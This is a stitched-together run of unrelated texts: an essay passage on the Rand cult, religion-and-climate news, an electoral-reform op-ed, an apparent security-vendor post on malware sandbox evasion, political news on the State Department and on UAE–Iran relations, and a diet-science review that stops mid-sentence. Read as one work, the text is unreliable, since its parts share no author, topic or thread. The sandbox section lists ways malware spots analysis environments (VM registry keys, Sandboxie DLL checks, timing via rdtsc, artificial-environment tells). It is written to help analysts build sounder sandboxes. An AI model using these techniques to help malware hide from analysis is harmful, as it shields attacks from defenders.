The Rand cult grew and flourished until the irrevocable split between the Greatest and the Second Greatest, until Satan was ejected from Paradise in the fall of 1968. The Rand-Branden split destroyed NBI, and with it the organized Randian movement. Rand has not displayed the ability or the desire to pick up the pieces and reconstitute an equivalent organization. The Objectivist fell back to The Ayn Rand Letter, and now that too has gone.
With the death of NBI, the Randian cultists were cast adrift, for the first time in a decade, to think for themselves. Generally, their personalities rebounded to their non-robotic, pre-Randian selves. But there were some unfortunate legacies of the cult. In the first place, there is the problem of what the Thomists call invincible ignorance. For many ex-cultists remain imbued with the Randian belief that every individual is armed with the means of spinning out all truths a priori from his own head – hence there is felt to be no need to learn the concrete facts about the real world, either about contemporary history or the laws of the social sciences. Armed with axiomatic first principles, many ex-Randians see no need of learning very much else. Furthermore, lingering Randian hubris imbues many ex-members with the idea that each one is able and qualified to spin out an entire philosophy of life and of the world a priori. Such aberrations as the “Students of Objectivism for Rational Bestiality” are not far from the bizarreries of many neo-Randian philosophies, preaching to a handful of zealous partisans. On the other hand, there is another understandable but unfortunate reaction. After many years of subjection to Randian dictates in the name of “reason,” there is a tendency among some ex-cultists to bend the stick the other way, to reject reason or thinking altogether in the name of hedonistic sensation and caprice.
We conclude our analysis of the Rand cult with the observation that here was an extreme example of contradiction between the exoteric and the esoteric creed. That in the name of individuality, reason, and liberty, the Rand cult in effect preached something totally different. The Rand cult was concerned not with every man's individuality, but only with Rand's individuality, not with everyone's right reason but only with Rand's reason. The only individuality that flowered to the extent of blotting out all others, was Ayn Rand's herself; everyone else was to become a cipher subject to Rand's mind and will.
Nikolai Bukharin's famous denunciation of the Stalin cult, masked during the Russia of the 1930's as a critique of the Jesuit order, does not seem very overdrawn as a portrayal of the Randian reality:
It has been correctly said that there isn't a meanness in the world which would not find for itself and ideological justification. The king of the Jesuits, Loyola, developed a theory of subordination, of “cadaver discipline,” every member of the order was supposed to obey his superior “like a corpse which could be turned in all directions, like a stick which follows every movement, like a ball of wax which could be changed and extended in all directions”… This corpse is characterized by three degrees of perfection: subordination by action, subordination of the will, subordination of the intellect. When the last degree is reached, when the man substitutes naked subordination for intellect, renouncing all his convictions, then you have a hundred percent Jesuit.3
It has been remarked that a curious contradiction existed with the strategic perspective of the Randian movement. For, on the one hand, disciples were not allowed to read or talk to other persons who might be quite close to them as libertarians or Objectivists. Within the broad rationalist or libertarian movement, the Randians took a 100% pure, ultra-sectarian stance. And yet, in the larger political world, the Randian strategy shifted drastically, and Rand and her disciples were willing to endorse and work with politicians who might only be one millimeter more conservative than their opponents. In the larger world, concern with purity or principles seemed to be totally abandoned. Hence, Rand's whole-hearted endorsement of Goldwater, Nixon, and Ford, and even of Senators Henry Jackson and Daniel P. Moynihan.
Neither Liberty Nor Reason
There seems to be only one way to resolve the contradiction in the Randian strategic outlook of extreme sectarianism within the libertarian movement, coupled with extreme opportunism, and willingness to coalesce with slightly more conservative heads of State, in the outside world. That resolution, confirmed by the remainder of our analysis of the cult, holds that the guiding spirit of the Randian movement was not individual liberty – as it seemed to many young members – but rather personal power for Ayn Rand and her leading disciples. For power within the movement could be secured by totalitarian isolation and control of the minds and lives of every member; but such tactics could scarcely work outside the movement, where power could only hopefully be achieved by cozying up the President and his inner circles of dominion.
Thus, power not liberty or reason, was the central thrust of the Randian movement. The major lesson of the history of the movement to libertarians is that It Can Happen Here, that libertarians, despite explicit devotion to reason and individuality, are not exempt from the mystical and totalitarian cultism that pervades other ideological as well as religious movements. Hopefully, libertarians, once bitten by the virus, may now prove immune.
Bibliographical Note
Of the several works on Randianism, only one has concentrated on the cult itself: Leslie Hanscom, “Born Eccentric,” Newsweek (March 27, 1961), pp. 104–05. Hanscom brilliantly and wittily captured the spirit of the Rand cult from attending and reporting on one of the Branden lectures. Thus, Hanscom wrote:
After three hours of heroically rapt attention to Branden's droning delivery, the fans were rewarded by the personal apparition of Miss Rand herself – a lady with drilling black eyes and Russian accent who often wears a brooch in the shape of a dollar sign as her private icon….
“Her books,” said one member of the congregation, “are so good that most people should not be allowed to read them. I used to want to lock up nine-tenths of the world in a cage, and after reading her books, I want to lock them all up.” Later on, this same chap – a self-employed “investment counselor” of 22 – got a lash of his idol's logic full in the face. Submitting a question from the floor – a privilege open to paying students only – the budding Baruch revealed himself as a mere visitor. Miss Rand – a lady whose glare would wilt a cactus – bawled him out from the platform as a “cheap fraud.” Other seekers of wisdom came off better. One worried disciple was told that it was permissible to celebrate Christmas and Easter so long as one rejected the religious significance (the topic of the night's lecture was the folly of faith). A housewife was assured that she needn't feel guilty about being a housewife so long as she chose the job for non-emotional reasons….
Although mysticism is one of the nastiest words in her political arsenal, there hasn't been a she-messiah since Aimee McPherson who can so hypnotize a live audience.”4
At least as revelatory as Hanscom's article were the predictable howls of overkill outrage by the cult members. Thus, two weeks later, under the caption “Thugs and Hoodlums?”, Newsweek printed excerpts from Randian letters sent in reaction to the article. One letter stated: “Your vicious, vile, and obscene tirade against Ayn Rand is a new low, even for you. To have sanctioned such a stream of abusive invective…is an act of unprecedented moral depravity. A magazine staffed with irresponsible hoodlums has no place in my home.” Another man wrote that “one who has read the works of Miss Rand and proceeds to write an article of this caliber can only be motivated by villainy. It is the work of a literary thug.” Another warned, “Since you propose to behave like cockroaches, be prepared to be treated as such.” And finally, one Bonnie Benov revealed the inner axiom: “Ayn Rand is…the greatest individual that has ever lived.” Having fun with the cult, Newsweek printed a particularly unprepossessing picture of Rand underneath the Benov letter, and captioned it: “Greatest Ever?”5
Notes
1. Alfred G. Meyer, Leninism (New York: Frederick A. Praeger, 1962), pp. 97–98. A particularly vivid expression of this communist faith was put forward by Trotsky, in a speech at the 1924 Congress of the Soviet Communist Party:
Comrades, none of us wishes to be or can be right against the party. In the last instance the party is always right, because it is the only historic instrument which the working class possesses, for the solution of its fundamental tasks…. One can be right only with the party and through the party because history has not created any other way for realization of one's rightness.
In Isaac Duetscher, The Prophet Unarmed. (New York: Random House, 1965), p. 139.
On all this, see in particular Williamson M. Evers, “Lenin and His Critics on the Organizational Question,” (unpublished MS.) pp. 15ff.
2. Frank S. Meyer, The Moulding of Communists: The Training of the Communist Cadre (New York: Harcourt, Brace and Co., 1961).
3. Nikolai Bukharin, Finance Capital in Papal Robes: A Challenge (New York: Friends of the Soviet Union, n.d.), pp. 10–11. Also see Evers, “Lenin and his Critics,” p. 15.
4. Newsweek (March 27, 1961), p. 105.
5. Newsweek (April 10, 1961), pp. 9, 14.
One of the most powerful women in Christianity, US Episcopal church Presiding Bishop Katharine Jefferts Schori, told the Guardian that climate change denial amounts to denying God's gift of knowledge. An oceanographer before being ordained, Bishop Jefferts Schori says she wants to use her influence as the head of a church to influence others to take action to stop climate change.
“I really hope to motivate average Episcopalians to see the severity of this issue, the morality of this issue,” Bishop Jefferts Schori told the Guardian. “Turning the ship in another direction requires the consolidated efforts of many people who are moving in the same direction.”
The church hosted a webcast on Tuesday to encourage church members to lobby their legislators to do more to stop climate change. The webcast also provided suggestions how members could reduce their personal carbon footprint. Jefferts Schori said in her interview with the Guardian that, for many in the developing world, the effects of climate change are already a threat to their survival.
“It is in that sense much like the civil rights movement in this country where we are attending to the rights of all people and the rights of the earth to continue to be a flourishing place,” Jefferts Schori told the Guardian. “It is certainly a moral issue in terms of the impacts on the poorest and most vulnerable around the world already.”
Bishop Jefferts Schori heads a church with just under 2 million members. Having broke with the Church of England in the American Revolution, the US Episcopal Church is part of the Anglican Communion, which, with 80 million members worldwide, is the world's third largest Christian communion after the Roman Catholic Church and the Eastern Orthodox Church.
Pope Francis is expected to release an edict in June or July that will speak to the need for Christians and non-Christians alike to understand the consequences of inaction on climate change.
The New York Times reported that the Pope will meet with United Nations Secretary-General Ban Ki-moon and his staff to discuss climate change's impact on the poor, before addressing the UN General Assembly and the US Congress in September.
“Our academics supported the pope’s initiative to influence next year’s crucial decisions,” Bishop Marcelo Sorondo, chancellor of the Vatican’s Pontifical Academy of Sciences, told Cafod, the Catholic development agency. “The idea is to convene a meeting with leaders of the main religions to make all people aware of the state of our climate and the tragedy of social exclusion.”
A 2009 Pew Research Center poll, "White, mainline Protestants," a category that, for Pew's purposes, includes Episcopalians were the largest Christian congregation who believed global warming was caused by human activity, with 48 percent believing so. The group least willing to accept climate change was white evangelical Protestants, only 34 percent of whom believe in manmade global warming.
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The highest percentage of Americans who accept the science of climate change – 58 percent – are religiously unaffiliated
A girl peeks into a voting booth as her mother casts her ballot at the French Embassy in Washington. (Nicholas Kamm/Agence France-Presse via Getty Images)
Each week, In Theory takes on a big idea in the news and explores it from a range of perspectives. This week we’re talking about “one person, one vote.” Need a primer? Catch up here.
Rob Richie is executive director of FairVote and co-author of “Every Vote Equal” and “Reflecting All of Us.” Find him on Twitter: @Rob_Richie
The principle of “one person, one vote” is fundamental to Americans’ understanding of democracy. But the common understanding of its meaning is actually quite different from the legal meaning at the heart of the Evenwel v. Abbott case. The assumption that the Supreme Court requires equality of voting power is wrong. When requiring legislative districts to be of equal population, it in fact established equality of constituent service as a constitutional right.
Yet adherence to even this principle is low. Few believe that our current Census methods come close to a perfect record of our population (and watch out — it may get even worse in 2020, given troubling battles over Census funding), making measures of population equality unreliable. Even when starting out with relatively accurate information, Census data can rapidly become out of date.
Courts make a fetish of such fictional population equality — but only at the start of each decade. In 2002, a federal court struck down Pennsylvania’s congressional redistricting plan because one district had 19 more people than another, a difference of less than 0.003 percent, yet ignored what was widely perceived as a partisan gerrymander. When courts recently required Florida and Virginia to redraw their congressional districts, states adhered strictly to the last Census’s data, even though it is six years old and was never terribly accurate. Yet by 2010, Nevada had a congressional district that had grown by more than 300,000 people during the decade, and there was no legal remedy.
These skewed figures suggest that it could be valuable to ask a new question: Is there a better way to realize voter equality in the United States than the winner-take-all methods we currently use?
The answer is an emphatic yes. By a simple statute, Congress could do far more to establish voter equality than ever achieved by the Supreme Court. The Ranked Choice Voting Act, a proposal expected to be introduced in the House next year, would require states to elect representatives through ranked choice voting (RCV) and to use multi-winner districts in states with more than one seat. States and cities could pursue similar reforms.
[Other perspectives: Why Texas is wrong in the ‘one person, one vote’ case]
The first element, RCV, is an increasingly popular form of voting designed to generate outcomes as representative of voters’ desires as is possible when voters have more than two choices in an election. Voters gain the option to rank backup choices along with their first choice, and those backup choices will count if their first choice loses. That simple change means that candidates have new incentives to reach out to voters who disagree with them, with measurable impact on candidate behavior. When electing one person through ranked choice voting, more than 50 percent of voters can be sure to help elect the winner. When electing three, more than 75 percent of voters will elect winners.
Today’s combination of modern campaign techniques, voters’ increasingly rigid partisan preferences and geographic sorting means that few general elections decided by a winner-take-all rule are competitive. Giving 100 percent of representation to 51 percent majorities cements distortions in representation, exacerbates gerrymandering and accords inordinate power to primary voters who don’t represent the majority. It leads into a rabbit hole of paradoxes, often forcing those drawing district lines to choose between fair partisan outcomes, fair racial representation, competitive elections and geographic compactness.
The Ranked Choice Voting Act is the only comprehensive solution to gerrymandering. It creates a level playing field for candidates and parties and an equal voice for voters, while mitigating apportionment inequalities by reducing the number of districts and making more votes count. It could change Congress from a place where more than a third of Americans are represented by someone whose party they strongly oppose to one where every race would be meaningfully contested and nearly everyone would have a representative who reflects at least some of their values.
There are trade-offs, to be sure: Districts would grow larger, and we would need to get used to new forms of constituent service. But such reforms represent a giant step toward voter equality. After the dust from Evenwel settles, we should see whether our political process lives up to the ideal of government “of, by and for the people.”
Explore these other perspectives:
Ilya Shapiro: Why Texas is wrong in the ‘one person, one vote’ case
Peter A. Morrison: We have the data to make voting fair. Let’s use it.
Richard H. Pildes: ‘Equal representation’ should include non-citizens
Aaron Blake: Thought immigration reform was unlikely? ‘One person, one vote’ could make things worse.
Nina Perales: The Supreme Court should seize the chance to strike down voter discrimination
Sandbox Detection: Detecting the presence of a sandbox (and only showing benign behavior patterns on detection) Exploiting Sandbox Gaps: Exploiting weaknesses or gaps in sandbox technology or in the ecosystem Context-Aware Malware: Using time/event/environment-based triggers (that are not activated during sandbox analysis)
In this post we’re going to drill down into more detail on sandbox evasion techniques in the first category: when malware specifically detects the presence of a sandbox and switches to benign behavior.
This first approach detects the presence of a sandbox by looking for small differences between a sandbox environment and a real victim’s system. If a sandbox is detected, malware usually reacts in one of two different ways: it either terminates immediately (which is in itself suspicious) or it shows non-malicious behavior and performs only benign operations.
Detecting the presence of a sandbox
There are a number of techniques to identify the existence of a sandbox. Once detected, the malware can react in different ways. The simplest step is to immediately terminate. This can raise a red flag since this is not the behavior of a normal, benign program. Another action is to show a bogus error message. For example, the malware may display a message that a certain system module is missing or the executable file has been corrupted. More sophisticated malware may perform some benign operations to conceal the real intention. Let’s take a deeper look into the different techniques used by malware in the wild to detect if it is being executed in a sandbox:
Detect Virtualization / Hypervisor
This is one of the oldest evasion techniques. However, it is less relevant today as many production environments (workstations and servers) are virtualized anyway and virtual machines (VMs) are no longer only used by researchers and malware analysts.
The earliest approach was to detect technical artifacts that existed due to the lack of full hardware support for virtualization (Paravirtualization). Techniques include: Detecting artifacts of popular VM hypervisors, e.g. VMWare (“port 0x5658”) or Virtualbox via a backdoor (“invalid opcode”). Detecting generic hypervisor artifacts: The most famous one is redpill (“IDTR could not be virtualized”)
These techniques are not very effective today. With hardware virtualization support, there are very few visible artifacts (if any) inside the VM since most hardware aspects are now virtualized and handled by the CPU itself. Therefore, they do not have to be simulated by the hypervisor.
Another approach that is still relevant today is detecting the implementation artifacts of the hypervisor For example: Reveal vendor from MAC address, device IDs or the CPU ID or from the existence of certain processes, files, drivers, registry keys or strings in memory
We’ve published two analyses demonstrating a couple of type of virtualization detection. In the first, we see an attempt to detect if the malware is running inside VirtualPC:
Detect Sandbox Artifacts
You can see the full analysis report here Another approach is to detect the presence of a VM by looking at registry values. In this example, the malware queried the registry key “HKEY_LOCAL_MACHINE\HARDWARE\Description\System” to look for values associated with common VM implementations like VMWare:Fig. 2: VM detection by registry value queryYou can see the full analysis report here
In this approach, it is not the hypervisor that the malware is trying to detect, but the sandbox itself. This can be done either by
Using vendor specific knowledge related to: Common VM products. For example, the existence of certain files, processes, drivers, file system structure, Windows ID, username etc. The ecosystem. For example, mechanisms to: Revert the analysis environment back to a clean state after infection: Deepfreeze, Reborn Cards Perform communication with the sandbox controller: additional listening ports, specific network environment (master server, …)
Using certain sandboxing technologies for detection: Most sandboxes use hooks, i.e. they inject or modify code and data within the analysis system. The ‘hook’ is essentially a shim layer capturing communication between processes, drivers and the OS. A hook can be implemented in many ways such as: inline hooks, IAT, EAT, proxy DLL, filter drivers etc. This makes them detectable by: Explicitly inspecting certain instructions or pointers or by Verifying the integrity of the system, e.g. verifying hash signatures of relevant system files Some sandboxes use emulation, which comes with side-effects and small differences compared to a native system e.g. different instruction semantics, cache-based attacks etc. Emulation gaps can be detected, by, for example, invoking an obscure CPU instruction that was not included in the emulation. When the call fails, malware will know it is running in an emulated environment.
An example of vendor-specific detection is here where the malware looks for the presence of the module ‘SbieDll.dll” – an indicator that it would be running in under Sandboxie, a common sandboxing environment:
Detecting An Artificial Environment
Sandboxes are usually not production systems, but specifically set up for malware analysis. Hence, they are not identical to real computer systems and these differences can be detected by malware. Differences may include:
Hardware properties: Unusually small screen resolution, no USB 3.0 drivers, lack of 3D rendering capabilities, only one (V)CPU, small hard disk and memory sizes
Software properties: Atypical software stack, e.g. no IM, no mail client
System properties: Uptime (“system was restarted 10 seconds ago”), network traffic (“system uptime is days, but only a few MB have been transmitted over the network”), no or only default printers installed
User properties: Clean desktop, clean filesystem, no cookies, no recent files, no user files
To demonstrate, we’ll go back to the same analysis we looked at in Fig. 2. In addition to checking for VM presence, the malware is looking for the presence of Wine, a software emulator (that is, it emulates Windows functions, rather than CPU emulation). We can see here in the VTI Score that the malware is doing a query, GET_PROC_ADDRESS and attempting to determine from the returned result if it what would be expected in a Wine environment:
Fig. 4: Malware detecting Wine environment by API query
You can see the full analysis report here.
Timing Based Detection
Monitoring the behavior of an application comes with a timing penalty, which can be measured by malware to detect the presence of a sandbox. Sandboxes try to prevent this by faking the time. However, malware can bypass this by incorporating external time sources such as NTP.
An example of a timing-based detection is this sample, that when analyzed checked for rdtsc, the time-stamp counter:
Sandboxing without detection
Our colleagues at ForcePoint did a more in-depth write-up on this fairly new approach here You can see the full analysis report here
In order to evade these types of detection by malware, an analysis environment should:
Not rely on modifying the target environment. In particular, a common approach for sandbox analysis is hooking. That presence of a hook (the injected user-mode or kernel-level driver that monitors and intercepts API calls and other malware activity) is a telltale sign for malware. It is virtually impossible to completely hide the presence of a hook.
Either implement full system emulation perfectly or not at all. While a perfectly-implemented emulation environment will be, in theory, difficult to detect, this is a complex undertaking. Just as all software has bugs, it’s a near certainty that any given emulation environment will have flaws that can be detected.
Use a target analysis environment that is ‘real’. If the sandbox analyzer can run an image copied from actual production endpoints, then the risk of detection falls dramatically. As we wrote earlier, coupling that with randomization of the environment helps to ensure that there are no tell-tale signs for malware to identify the target environment as ‘fake’
VMRay’s agentless hypervisor-based approach ensures that there is a minimal attack surface for malware to detect it is running in a sandbox. By not modifying the target environment, not relying on emulation, and allowing real-world images to run as target environments, VMRay gives nothing for malware to flag as a sandbox environment.
Next up, read Part 3 in the series: Exploiting gaps in sandbox technology.
References:
A group of House Democrats is urging the State Department to resist any effort by President-elect Donald Trump's administration to single out its employees for working on certain subject areas, saying the possibility of such "political witch hunts" is reminiscent of "dark chapters in our history."
The request came in Thursday letter addressed to outgoing Secretary of State John Kerry and signed by 18 Democrats on the House Foreign Affairs Committee. It follows attempts by Trump transition aides to obtain names of Department of Energy employees involved in climate change policy. The Energy Department says it will not hand over any names.
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An official at State said Thursday that the department was unaware of any similar requests for names by the transition staffers there. "In any event, we would not provide the names of such individuals," the official said.
A spokesman for the Trump team, Sean Spicer, told reporters on Wednesday that the request for names at the Energy Department "was not authorized or part of our standard protocol," and that "the person who sent it has been properly counseled." Trump aides did not immediately offer a comment regarding the House Democrats' letter.
The Congress members told Kerry that the Democrats' foreign affairs committee website would soon include a link allowing employees at State and the U.S. Agency for International Development to report abuses of authority, including potential cases of discrimination.
"Individual civil servants, Foreign Service officers, and other staff should not be singled out for their work in support of policy objectives that clash with the next administration’s goals, leaving them vulnerable to retribution by the incoming administration," the Democrats wrote. "In our view, gathering names in this manner bears striking resemblance to dark chapters in our history marked by enemies lists and political witch hunts.”
The State Department handles a wide range of matters that could put it directly at odds with Trump's priorities. For instance, it oversees the ongoing adherence to the Iran nuclear deal, which Trump has vowed to renegotiate. Under President Barack Obama, State also has had a role in advocating for international agreements on climate change.
Trade between the United Arab Emirates (UAE) and their neighbor across the Strait of Hormuz is an everyday occurrence that hardly deserves mention on the docks.
The same families are often on both shores. The business relationships between them have grown over generations and are more enduring than any war or embargo.
Of course, shipping engine blocks to the Iranian port city of Bandar-e Lengeh is not prohibited. But the busy import and export trade in the dhow ports of the emirates of Sharjah, Dubai and Ras al-Khaimah shows how difficult it is to isolate Tehran.
'Astonishingly Honest'
This makes the words uttered last Tuesday by the UAE's ambassador to the United States, Yousef Al Otaiba, in Aspen, Colorado, more than 12,500 kilometers to the west, all the more interesting. Otaiba was attending a forum at the Aspen Institute's Ideas Festival, and the mood was relaxed, or at least it was too relaxed for diplomatic restraint.
The discussion revolved around the Middle East. When asked whether the UAE would support a possible Israeli air strike against the regime in Tehran, Ambassador Otaiba said: "A military attack on Iran by whomever would be a disaster, but Iran with a nuclear weapon would be a bigger disaster."
These were unusually candid words. A military strike, the diplomat continued, would undoubtedly lead to a "backlash." "There will be problems of people protesting and rioting and very unhappy that there is an outside force attacking a Muslim country," he said.
But, he added, "if you are asking me, 'Am I willing to live with that versus living with a nuclear Iran,' my answer is still the same. We cannot live with a nuclear Iran. I am willing to absorb what takes place at the expense of the security of the U.A.E."
Democratic Congresswoman Jane Harman said afterwards that she had never heard anything like it coming from an Arab government official. Otaiba, she added, was "astonishingly honest."
Notwithstanding the shocking nature of his remarks, Otaiba was merely expressing, in a public forum, "the standard position of many Arab countries," says Middle East expert Jeffrey Goldberg, a writer for The Atlantic Monthly who moderated the panel discussion in Aspen.
The fact that some Western politicians are unfamiliar with this position has to do with their own ignorance, and with the diplomatic skill with which the smaller Gulf states, in particular, have managed to hide their opposition to their powerful neighbor until now.
"The Jews and Arabs have been fighting for one hundred years. The Arabs and the Persians have been going at (it) for a thousand," argues Goldberg on The Atlantic's Web site.
Almost all Arab neighbors have a hostile relationship with the Islamic Republic. Saudi Arabia suspects Iran of stirring up the Shiite minority in its eastern provinces. The Arab emirates accuse Iran of occupying three islands in the Persian Gulf. Egypt has not had regular diplomatic relations with Iran since a street in Tehran was named after the murderer of former Egyptian President Anwar el-Sadat.
Jordanian King Abdullah II warns against the establishment of a "Shiite crescent" between Iran and Lebanon. And Kuwait, fearing the Iranians, installed the Patriot air defense missile system in the spring.
Closely Aligned
Arab governments are concerned about a strong Iran, its nuclear program and the inflammatory speeches of Iranian President Mahmoud Ahmadinejad. They share these concerns with another government in the Middle East -- Israel's.
Never have the strategic interests of the Jewish and Arab states been so closely aligned as they are today. While European and American security experts consistently characterize a military strike against Iran as "a last option," notable Arabs have long shared the views of Israel's ultra-nationalist foreign minister, Avigdor Lieberman. If no one else takes it upon himself to bomb Iran, Saudi cleric Mohsen al-Awaji told SPIEGEL, Israel will have to do it. "Israel's agenda has its limits," he said, noting that it is mainly concerned with securing its national existence. "But Iran's agenda is global."
Sometimes that agenda leads to actions that are as absurd as they are typical. In February, for example, Tehran issued a landing ban on all airlines that used the phrase "Arab Gulf" instead of "Persian Gulf" in their on-board programming.
But Arab countries are pursuing a delicate seesaw policy. The UAE cannot afford to openly offend Iran, which explains why Ambassador Otaiba was promptly ordered to return home on Wednesday.
This caution only conceals the deep divide between the Arabs and the Persians. Despite their public expressions of outrage over Israeli behavior, such as the blockade of the Gaza Strip, Arab countries in the region continue to pursue their pragmatic course. On June 12, The Times in London wrote that Saudi Arabia had recently "conducted tests to stand down its air defenses to enable Israeli jets to make a bombing raid on Iran's nuclear facilities" -- in the event of an attack on the nuclear power plant in Bushehr. In March, Western intelligence agencies reported that there were signs of secret negotiations between Jerusalem and Riyadh to discuss the possibility.
"We are aligned (with the United States) on every policy issue there is in the Middle East," Ambassador Otaiba said in Aspen.
Pragmatism and Shifting Alliances
"The UAE has chosen to side with the camp of those who apply to the letter the new United Nations resolution of June 9," wrote French philosopher Bernard-Henri Lévy, noting that it was "truly a blow to the regime" in Iran. For Lévy, the "union sacrée" of Muslim countries against the "Zionist enemy" is a fantasy. The countries that feel threatened by Tehran, he added, now have the opportunity to form an alliance of convenience.
Next to Jordan, the UAE is the only Arab country with soldiers deployed in Afghanistan -- fighting on the side of the United States. Abu Dhabi, the richest of the seven emirates, has reportedly been pressuring Dubai to keep closer tabs on the many influential Iranians living there.
In late June, the UAE's central bank froze 41 accounts, some of which could be directly linked to Iran's Revolutionary Guard. The accounts were allegedly being used to conduct transactions tied to the smuggling of materials listed under the embargo against Iran.
Before that, the UAE had announced tighter controls on ships in the Dubai free trade zone. "Security forces have interdicted scores of ships suspected of carrying illicit cargo," said Hamad Al Kaabi, the UAE's permanent representative to the International Atomic Energy Agency.
Low-Fat diets Low-fat diets (LFD) have been defined as providing 20–35% fat [29]. This is based on the Acceptable Macronutrient Distribution Ranges (AMDR) for adults, set by the Food and Nutrition Board of the Institute of Medicine [30]. The AMDR set protein at 10–35%, carbohydrate at 45–65%, and fat at 20–35% of total energy. Although the classification of LFD is based on the AMDR, it might be more accurate to call them high-carbohydrate diets, given the dominance of this macronutrient in the ranges. As such, the definition of LFD is inherently subjective. Scientists and physicians have promoted decreased fat intake since the 1950s [31]. The 1977 publication of the Dietary Goals for the United States, and the 1980 publication of the inaugural Dietary Guidelines for Americans (DGA) reinforced a reduction in total fat intake with the aim of improving public health [32]. Although the AMDR were published in 2005, their staying power is apparent since the recently updated DGA adheres to these ranges [33], as do major health organizations such as the American Heart Association, American Diabetes Association and Academy of Nutrition and Dietetics. A recent systematic review by Hooper et al. [34] analyzed 32 randomized controlled trials (RCTs) containing ~54,000 subjects, with a minimum duration of 6 months. Reducing the proportion of dietary fat compared to usual intake modestly but consistently reduced body weight, body fat, and waist circumference. Excluded from the analysis were RCTs where subjects in either the control or experimental groups had the intention to reduce weight. The implication of these findings is that reducing the proportion of dietary fat can cause a de facto reduction of total energy intake, thereby reducing body fat over time. The premise of dietary fat reduction for weight loss is to target the most energy-dense macronutrient to impose hypocaloric conditions. Tightly controlled experiments have covertly manipulated the fat content of diets similar in appearance and palatability, and the higher energy density of the higher-fat diets resulted in greater weight gain and/or less weight loss [35, 36]. However, over the long-term, diets with lower energy density have not consistently yielded greater weight loss than energy restriction alone [37, 38]. Reasons for the disparity between short- and long-term effects of energy density reduction include speculation that learned compensation is occurring. In addition, postprandial factors may increase sensory-specific satiety that over time can reduce the initial palatability of energy-dense foods [39]. Very-low-fat diets (VLFD) have been defined as providing 10–20% fat [29]. Diets fitting this profile have a limited amount of research. The body of controlled intervention data on VLFD mainly consists of trials examining the health effects of vegetarian and vegan diets that aggressively minimize fat intake. These diets have shown consistently positive effects on weight loss [40], but this literature lacks body composition data. Among the few studies that did, the A TO Z Weight Loss Study by Gardner et al. [41], did not show any significant between-group differences in body fat reduction among the diets (Atkins, Zone, LEARN, and Ornish). However, despite the Ornish group’s assigned fat intake of ≤10% of total calories, actual intake progressed from 21.1 to 29.8% by the end of the 12-month trial. Similar results were seen by de Souza et al. [42] in the POUNDS LOST trial. Four groups were assigned high-protein (25%) and average-protein (15%) versions of high-fat (40%) and low-fat (20%) diets. No significant between-group differences were seen in the loss of total abdominal, subcutaneous, or visceral fat at either six months or two years. A mean loss of 2.1 kg LM and 4.2 kg FM occurred in both groups at 6 months. No LM-retentive advantage was seen in the higher-protein diets, but this could have been due to both protein intake levels being sub-optimal (1.1 and 0.7 g/kg). As seen in previous LFD research, the targeted restriction to 20% fat was apparently difficult to attain since actual intakes ranged 26–28%.
Low-carbohydrate diets Similar to LFD, low-carbohydrate diets (LCD) are a broad category lacking an objective definition. There is no universal agreement on what quantitatively characterizes an LCD. The AMDR lists 45–65% of total energy as the appropriate carbohydrate intake for adults [33]. Therefore, diets with intakes below 45% fall short of the ‘official’ guidelines and can be viewed as LCD. However, other published definitions of LCD disregard the limits set in the AMDR. LCD have been defined as having an upper limit of 40% of total energy from carbohydrate [43, 44]. In absolute rather than proportional terms, LCD have been defined as having less than 200 g of carbohydrate [43]. Some investigators have taken issue with this liberal definition of LCD, preferring to delineate non-ketogenic LCD as containing 50–150 g, and KD as having a maximum of 50 g [45]. Meta-analyses comparing the effects of LFD with LCD have yielded mixed results across a wide range of parameters. Liberal operational definitions of LCD (e.g., ≤45%) have led to a lack of significant differences in body weight and waist circumference [46], while lower carbohydrate classification thresholds (<20%) have favored LCD for weight loss and other cardiovascular risk factors [47]. Recently, Hashimoto et al. [48] conducted the first-ever meta-analysis on the effect of LCD on fat mass (FM) and body weight. The analysis, limited to trials involving overweight/obese subjects, had a total of 1416 subjects, stratifying the diets as “mild LCD” (~40% CHO) or “very LCD” (~50 g CHO or 10% of total energy). Eight RCTs included a very LCD treatment, and 7 RCTs included a mild LCD treatment. With all groups considered, FM decrease was significantly greater in the LCD than the control diets. However, sub-analysis showed that fat mass decrease in very LCD was greater than the controls, while the difference in FM decrease between mild LCD and controls was not significant. A separate sub-analysis of short- versus long-term effects found that both types of LCD yielded significantly greater fat loss than controls in trials less than, as well as longer than 12 months. A further sub-analysis of found that BIA failed to detect significant between-group differences in FM reduction, while DXA showed significantly greater decreases in LCD than controls. It should be noted that despite reaching statistical significance, mean differences in FM reduction between LCD and control groups were small (range = 0.57–1.46 kg). Practical relevance is questionable given the obese nature of the subjects. The authors speculated that the advantage of the LCD over the control diets could have been due to their higher protein content.
Ketogenic diets Despite being a subtype of LCD, the ketogenic diet (KD) deserves a separate discussion. Whereas non-ketogenic LCD is subjectively defined, KD is objectively defined by its ability to elevate circulating ketone bodies measurably – a state called ketosis, also known as physiological or nutritional ketosis. Aside from completely fasting, this condition is attained by restricting carbohydrate to a maximum of ~50 g or ~10% of total energy [45], while keeping protein moderate (1.2–1.5 g/kg/d) [49], with the remaining predominance of energy intake from fat (~60–80% or more, depending on degree protein and carbohydrate displacement). Ketosis is a relatively benign state not to be confused with ketoacidosis, which is a pathological state seen in type 1 diabetics, where a dangerous overproduction of ketones occurs in the absence of exogenous insulin. The primary ketone produced hepatically is acetoacetate, and the primary circulating ketone is β-hydroxybutyrate [50]. Under normal, non-dieting conditions, circulating ketone levels are low (<3 mmol/l). Depending on the degree of restriction of carbohydrate or total energy, KD can raise circulating ketone levels to a range of ~0.5–3 mmol/l, with physiological ketosis levels reaching a maximum of 7–8 mmol/l [49]. The proposed fat loss advantage of carbohydrate reduction beyond a mere reduction in total energy is based largely on insulin-mediated inhibition of lipolysis and presumably enhanced fat oxidation. However, a single-arm study by Hall et al. [51] examined the effect of 4 weeks on a low fat diet (300 g CHO) followed by 4 weeks on a KD (31 g CHO). Blood ketone levels plateaued at ~1.5 mmol/l within two weeks into the KD. A transient increase in energy expenditure (~100 kcal/day) lasting a little over a week occurred upon switching to the KD. This was accompanied by a transient increase in nitrogen loss, potentially suggesting a stress response including the ramping up of gluconeogenesis. Although insulin levels dropped rapidly and substantially during the KD (consisting of 80% fat, 5% CHO), an actual slowing of body fat loss was seen during the first half of the KD phase. It has been postulated that the production and utilization of ketone bodies impart a unique metabolic state that, in theory, should outperform non-ketogenic conditions for the goal of fat loss [45]. However, this claim is largely based on research involving higher protein intakes in the LCD/KD groups. Even small differences in protein can result in significant advantages to the higher intake. A meta-analysis by Clifton et al. [52] found that a 5% or greater protein intake difference between diets at 12 months was associated with a threefold greater effect size for fat loss. Soenen et al. [53] systematically demonstrated that the higher protein content of low-carbohydrate diets, rather than their lower CHO content, was the crucial factor in promoting greater weight loss during controlled 